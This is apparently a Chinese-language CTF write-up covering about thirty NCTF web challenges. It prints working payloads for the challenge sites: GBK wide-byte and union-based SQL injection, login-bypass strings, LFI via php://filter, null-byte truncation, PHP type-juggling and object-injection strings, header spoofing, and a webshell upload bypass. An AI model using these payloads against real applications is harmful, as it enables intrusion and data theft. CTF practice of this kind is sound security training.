源码分析

nctf{flag_admiaanaaaaaaaaaaa}

php的弱类型加MD5碰撞

首先考察post提交数据,然后考察md5碰撞,MD5加密QNKCDZ0可以看到是0exxxxxxxxx之类的字符,你只需要找到一个字符串,md5加密后是0e开头就好了。例如: aabg7XSs

flag nctf{md5_collision_is_easy}

绕过长度限制

考察html中的一些知识,在此直接用开发者工具修改即可

nctf{follow_me_to_exploit}

基本图片隐写术

macos下类似winhex的软件有http://ridiculousfish.com/hexfiend/

nctf{photo_can_also_hid3_msg}

源码分析进阶

访问连接,没看出端倪,直接用burpsuite的spider模块爬了一下,结果发现404.html,访问之后查看源代码,进而发现端倪。

nctf{this_is_a_fl4g}

js的AAencode

其实已经提示是AAencode了,想办法解密就行。比如你可以再http://tool.isex.ren/aadecode这个网站进行解密。机密结果就是flag(有人说浏览器打开是乱码,这样的话你wget下载,然后记事本打开就行)

alert(“nctf{javascript_aaencode}”)

单身拼手速

我觉得是题目没有出好,我直接在burpsuite中抓包就看到了flag

当然也可能是出好了,考察的就是跳转

nctf{yougotit_script_now}

你从哪里来

一看就知道是改referer,因为在http头中来源地就是这个参数,在hackbar中修改了就行。

nctf{http_referer}

php decode

1
<?phpfunction CLsI($ZzvSWE) { $ZzvSWE = gzinflate(base64_decode($ZzvSWE)); for ($i = 0; $i < strlen($ZzvSWE); $i++) { $ZzvSWE[$i] = chr(ord($ZzvSWE[$i]) - 1); } return $ZzvSWE;}eval(CLsI("+7DnQGFmYVZ+eoGmlg0fd3puUoZ1fkppek1GdVZhQnJSSZq5aUImGNQBAA=="));?>

修改为如下代码,运行即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
function CLsI($ZzvSWE) {
$ZzvSWE = gzinflate(base64_decode($ZzvSWE));
for ($i = 0; $i < strlen($ZzvSWE); $i++) {
$ZzvSWE[$i] = chr(ord($ZzvSWE[$i]) - 1);
}
return $ZzvSWE;
}echo(CLsI("+7DnQGFmYVZ+eoGmlg0fd3puUoZ1fkppek1GdVZhQnJSSZq5aUImGNQBAA=="));?>

其实我觉得这个不是在考代码审计,因为你echo一下就有flag了。但是还是说下这个解密。具体参考这个文章https://www.waitalone.cn/eval-gzinflate-base64_decode-decryption.html

文件包含

参考如下文章,构造http://4.chinalover.sinaapp.com/web7/index.php?file=php://filter/convert.base64-encode/resource=index.php

http://www.2cto.com/article/201311/258420.html

实在不会我们还有工具:https://github.com/D35m0nd142/LFISuite

单身一百年也没用

考察302跳转:http://blog.sina.com.cn/s/blog_4550f3ca0101czu9.html

做题用burp抓包放repeater就行,其实用curl也可以

例如我用curl命令来做一下,其实这个源码也很好猜的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
➜ ~ curl -i http://chinalover.sinaapp.com/web9/index.php
HTTP/1.1 302 Found
Server: sae
Date: Mon, 11 Sep 2017 08:29:53 GMT
Content-Type: text/html
Content-Length: 0
Connection: keep-alive
flag: nctf{this_is302redirect}
Location: http://chinalover.sinaapp.com/web8/no_key_is_here_forever.php
Via: 1566

Download~!

提示了文件下载,可以联想到任意文件下载漏洞,这样的话我们可以顺利的下载网站的源码进行审计的。我们先下载download.php(文件名是base64编码的),之后我们可以看到还有一个hereiskey.php,继续下载即可得到flag:nctf{download_any_file_666}

download.php的源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
error_reporting(0);
include("hereiskey.php");
$url=base64decode($GET[url]);
if( $url=="hereiskey.php" || $url=="buxiangzhangda.mp3" || $url=="xingxingdiandeng.mp3" || $url=="download.php"){
$file_size = filesize($url);
header ( "Pragma: public" );
header ( "Cache-Control: must-revalidate, post-check=0, pre-check=0" );
header ( "Cache-Control: private", false );
header ( "Content-Transfer-Encoding: binary" );
header ( "Content-Type:audio/mpeg MP3");
header ( "Content-Length: " . $file_size);
header ( "Content-Disposition: attachment; filename=".$url);
echo(file_get_contents($url));
exit;
}
else {
echo "Access Forbidden!";
}
?>

看到提示0==not,果断抓包把0改成1,然后就有了flag

flag:nctf{cookie_is_different_from_session}

MYSQL

提示让看robots.txt

然后看到源码

1
<?phpif($GET[id]) { mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS); mysql_select_db(SAE_MYSQL_DB); $id = intval($GET[id]); $query = @mysql_fetch_array(mysql_query("select content from ctf2 where id='$id'")); if ($_GET[id]==1024) { echo "<p>no! try again</p>"; } else{ echo($query[content]); }}?>

其实在此处是考察mysql中的一个精度问题,比如2014.1虽然在php中哦按段不等于2014,但是再查询时,加入mysql设置id为整型,那么2014.1就会变成2014。

the flag is:nctf{query_in_mysql}

sql injection 3

其实看到连接就知道是gbk的问题了,后面提示也有

your sql:select id,title from news where id = ‘2’

gbk_sql_injection

关于宽字节注入问题可以看这个文章:

http://www.91ri.org/8611.html

https://www.2cto.com/article/201301/182881.html

你可以手动来做:

1
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=ß' union select 1,database() #

your sql:select id,title from news where id = ‘運’ union select 1,database() #’

sae-chinalover

1
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() %23

your sql:select id,title from news where id = ‘id=運’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #’

ctf,ctf2,ctf3,ctf4,news

1
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x63746634 %23

your sql:select id,title from news where id = ‘運’ union select 1,group_concat(column_name) from information_schema.columns where table_name=0x63746634 #’

id,flag

1
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df' union select 1,group_concat(id,0x3a,flag) from ctf4 %23

your sql:select id,title from news where id = ‘運’ union select 1,group_concat(id,0x3a,flag) from ctf4 #’

1:nctf{gbk_3sqli}

/x00

看标题就知道这个是在考察00截断

分析下这段代码

1
if (isset ($GET['nctf'])) { if (@ereg ("^[1-9]+$", $GET['nctf']) === FALSE) echo '必须输入数字才行'; else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE) die('Flag: '.$flag); else echo '骚年,继续努力吧啊~'; }

ereg(mode, string subject, array regs);

mode:正则表达式(preg_match中的mode必须以’/‘开始和“/”结束)

subject: 需要验证的字符串

matchs/regs: 匹配后得到的结果。以数组的形式存储

strpos() 函数查找字符串在另一字符串中第一次出现的位置。

构造:

http://teamxlc.sinaapp.com/web4/f5a14f5e6e3453b78cd73899bad98d53/index.php?nctf=2%00%23biubiubiu

网上也有说构造

http://teamxlc.sinaapp.com/web4/f5a14f5e6e3453b78cd73899bad98d53/index.php?nctf[]=

这个原因是因为报错并返回null(多亏了wonderkun大佬)

bypass again

这个题跟上面那个是不一样的,注意是===

所以姿势如下:http://www.cnblogs.com/weidiao/p/6821812.html

http://chinalover.sinaapp.com/web17/index.php?a[]=a&&b[]=c

变量覆盖

看下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php if ($_SERVER["REQUEST_METHOD"] == "POST") { ?>
<?php
extract($_POST);
if ($pass == $thepassword_123) { ?>
<div class="alert alert-success">
<code><?php echo $theflag; ?></code>
</div>
<?php } ?>
<?php } ?>

extract()出现的问题,详情见:

http://www.cnblogs.com/sqyysec/p/6926095.html

构造:

pass=1&thepassword_123=1 post方式提交就行(使用hackbar和burp均可)

PHP是世界上最好的语言

http://way.nuptzj.cn/php/index.txt看到源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
if(eregi("hackerDJ",$_GET[id])) {
echo("<p>not allowed!</p>");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{
echo "<p>Access granted!</p>";
echo "<p>flag: *****************} </p>";
}
?>

id的内容要跟hackerDJ不相同,但是urldecode之后要和hackerDJ相同

其实在此处考察的是$_GET[]本身就有urldecode的功能,所以构造:%2568ackerDJ即可

nctf{php_is_best_language}

伪装者

看到这句“管理系统只能在本地登陆”就知道了

抓包增加:X-Forwarded-For: 127.0.0.1

nctf{happy_http_headers}

flag在响应头中,用burp看下就行

nctf{tips_often_hide_here}

上传绕过

这题网上大多都写错了,有必要一写。

首先我们上传1.png(但实际文件内容写的是php一句话)

上传成功,我们可以知道与文件内容无关。重要的是:最终路径是拼接了 dir 和 filename 的,那么我们在 dir 处 00 截断为 .php 即可绕过。

具体的方式为用burp在hex中将空格20修改为00

nctf{welcome_to_hacks_world}

SQL注入1

知道了是post注入之后我们看代码就好

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
if($_POST[user] && $_POST[pass]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$user = trim($_POST[user]);
$pass = md5(trim($_POST[pass]));
$sql="select user from ctf where (user='".$user."') and (pw='".$pass."')";
echo '</br>'.$sql;
$query = mysql_fetch_array(mysql_query($sql));
if($query[user]=="admin") {
echo "<p>Logged in! flag:******************** </p>";
}
if($query[user] != "admin") {
echo("<p>You are not admin!</p>");
}
}
echo $query[user];
?>

trim()是去除两侧空格,重点在于依据下面这句进行构造

$sql=”select user from ctf where (user=’”.$user.”‘) and (pw=’”.$pass.”‘)”;

构造:admin’)#即可, ‘)用来分别用来闭合 #用来把后面给注释掉

nctf{ni_ye_hui_sql?}

pass check

来继续审计:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$pass=@$_POST['pass'];
$pass1=***********;//被隐藏起来的密码
if(isset($pass))
{
if(@!strcmp($pass,$pass1)){
echo "flag:nctf{*}";
}else{
echo "the pass is wrong!";
}
}else{
echo "please input pass!";
}
?>

strcmp() 函数比较两个字符串。依据提示我们需要构造pass与pass1相等才行,但是我又不知道pass1,但是strcmp()比较,若相等返回0!但是null和0是等价的,所以我们让其返回null即可。构造:pass[]=hack 把这个post上去就行

flag:nctf{strcmp_is_n0t_3afe}

起名字真难

审计!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
function noother_says_correct($number)
{
$one = ord('1');//ord() 函数返回字符串的首个字符的 ASCII 值。
$nine = ord('9');
for ($i = 0; $i < strlen($number); $i++)
{
$digit = ord($number{$i});
if ( ($digit >= $one) && ($digit <= $nine) )
{
return false;
}
}
return $number == '54975581388';
}
$flag='*******';
if(noother_says_correct($_GET['key']))
echo $flag;
else
echo 'access denied';
?>

要求:id中的字符串不能有数字,而想得到flag又要进去的是要数字

构造:54975581388的16进制 0xccccccccc

提交得到flag:nctf{follow_your_dream}

密码重置

其中涉及了URL编码和base64编码,burp抓包修改成admin就行

nctf{reset_password_often_have_vuln}

.php反序列化

审计!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
class just4fun {
var $enter;
var $secret;
}
if (isset($_GET['pass'])) {
$pass = $_GET['pass'];
if(get_magic_quotes_gpc()){
$pass=stripslashes($pass);
}
$o = unserialize($pass);
if ($o) {
$o->secret = "*";
if ($o->secret === $o->enter)
echo "Congratulation! Here is my secret: ".$o->secret;
else
echo "Oh no... You can't fool me";
}
else echo "are you trolling?";
}
?>

题目的意思就是一个序列化过后的字符串与类中的变量始终保持相同,可以想到引用a=&b

(这可以当成一个专题讲讲)

1.php的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
class just4fun {
var $enter;
var $secret;
function just4fun()
{
$this->enter=&$this->secret;
}
}
echo serialize(new just4fun());
?>

执行一下

1
2
3
➜ Desktop php 1.php
O:8:"just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;}

构造:

http://115.28.150.176/php1/index.php?pass=O:8:”just4fun”:2:{s:5:”enter”;N;s:6:”secret”;R:2;}

得到flag

nctf{serialize_and_unserialize}

sql injection 4

审计!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<!--
#GOAL: login as admin,then get the flag;
error_reporting(0);
require 'db.inc.php';
function clean($str){
if(get_magic_quotes_gpc()){//当 magic_quotes_gpc 打开时,所有的 ’ (单引号), ” (双引号), \ (反斜线) and 空字符会自动转为含有反斜线的转义字符
$str=stripslashes($str);//与stripslashes()搭配使用,此函数是删除所有的\的
}
return htmlentities($str, ENT_QUOTES);//htmlentities($str, ENT_QUOTES)是指编码所有的双引号和单引号
}
$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);
$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){
die('Invalid password!');
}
echo $flag;
-->

重点在于:

在这里由于’被转编码,所以可以使用\转义

$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';

构造:http://chinalover.sinaapp.com/web15/index.php?username=admin\&password=%20or%201%23

插入后大致的sql语句为:SELECT * FROM users WHERE name=’ admin\’ AND pass=’ or 1#’;

综合题

zh个很有意思,首先是一个jsfuck,不用解码,直接执行就可以

执行后得到:1bc29b36f623ba82aaf6724fd3b16718.php

打开发现不是这回事

又看提示,想到bash的一些相关,再看这个网页的header发现tip “history of bash”

bash_history是用来存放历史记录的,所以我们就访问

http://teamxlc.sinaapp.com/web3/b0b0ad119f425408fc3d45253137d33d/.bash_history

又得到提示:zip -r flagbak.zip ./*

那么就访问这个:

http://teamxlc.sinaapp.com/web3/b0b0ad119f425408fc3d45253137d33d/flagbak.zip

下载解压得到flag is:nctf{bash_history_means_what}

有源码

给了题目的源码,可以自己搭建环境来尝试

https://github.com/otakekumi/NUPT_Challenges/tree/master/WEB

SQL注入2

审计!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
if($_POST[user] && $_POST[pass]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$user = $_POST[user];
$pass = md5($_POST[pass]);
$query = @mysql_fetch_array(mysql_query("select pw from ctf where user='$user'"));
if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) {
echo "<p>Logged in! Key: ntcf{**************} </p>";
}
else {
echo("<p>Log in failure!</p>");
}
}
?>

strcasecmp是不分大小比较,这样只要得到密码md5值相同即可,提示已经说了用union所以我们来构造payload:

username填写’ union select md5(1)#

password填写1

得flag:ntcf{union_select_is_wtf}

剩余的题目不建议小白来做,想做的看这个链接

http://blog.csdn.net/qq_31481187/article/details/52097287?locationNum=9

或者:

https://www.40huo.cn/blog/nctf-writeup.html

(ps:东西太多写不动了。。。)

总结:可以写点base64、base32、url编码解码、文本与16进制转换的小工具。<<<可以练手,但是hackbar带全了和burp